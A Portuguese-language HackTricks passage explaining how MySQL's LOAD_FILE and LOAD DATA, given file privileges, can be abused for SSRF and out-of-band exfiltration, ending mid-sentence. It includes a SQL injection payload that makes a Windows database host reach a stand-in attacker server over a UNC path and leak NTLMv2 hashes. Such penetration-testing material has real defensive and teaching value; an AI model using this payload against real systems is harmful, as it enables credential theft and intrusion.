4 KiB
MySQL File priv para SSRF/RCE
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- Você trabalha em uma empresa de segurança cibernética? Você quer ver sua empresa anunciada no HackTricks? ou você quer ter acesso à última versão do PEASS ou baixar o HackTricks em PDF? Confira os PLANOS DE ASSINATURA!
- Descubra A Família PEASS, nossa coleção exclusiva de NFTs
- Adquira o swag oficial do PEASS & HackTricks
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-me no Twitter 🐦@carlospolopm.
- Compartilhe suas técnicas de hacking enviando PRs para o repositório hacktricks e hacktricks-cloud repo.
Post copiado de https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/#mysqlmariadbpercona
LOAD_FILE/LOAD DATA/LOAD XML para SSRF
Todo artigo de exfiltração de dados SQL Out of Band usará a função de string LOAD_FILE()
para fazer uma solicitação de rede. A função em si tem suas próprias limitações com base no sistema operacional em que é executada e nas configurações com as quais o banco de dados foi iniciado.
Por exemplo, se a variável global secure_file_priv
não foi definida, o valor padrão é definido como /var/lib/mysql-files/
, o que significa que você só pode usar funções como LOAD_FILE('filename')
ou LOAD DATA [LOCAL] INFILE 'filename' INTO TABLE tablename
para ler arquivos do diretório /var/lib/mysql-files/
. Para poder realizar leituras em arquivos fora deste diretório, a opção secure_file_priv
deve ser definida como ""
, o que só pode ser feito atualizando o arquivo de configuração do banco de dados ou passando o parâmetro de inicialização --secure_file_priv=""
para o serviço de banco de dados.
No entanto, em circunstâncias em que secure_file_priv
é definido como ""
, deveríamos ser capazes de ler outros arquivos no sistema, assumindo que as permissões de leitura de arquivos e file_priv
estão definidas como Y
em mysql.user
para o usuário do banco de dados atual. No entanto, ser capaz de usar essas funções para fazer chamadas de rede é muito dependente do sistema operacional. Como essas funções são construídas apenas para ler arquivos, as únicas chamadas relevantes para a rede que podem ser feitas são para caminhos UNC em hosts do Windows, já que o api do Windows CreateFileA
que é chamado ao acessar um arquivo entende as convenções de nomenclatura UNC.
Portanto, se o banco de dados de destino estiver sendo executado em uma máquina Windows, a consulta de injeção x'; SELECT LOAD_FILE('\\\\attackerserver.example.com\\a.txt'); -- //
[resultaria na máquina Windows enviando hashes NTLMv2 na tentativa de autenticar com o `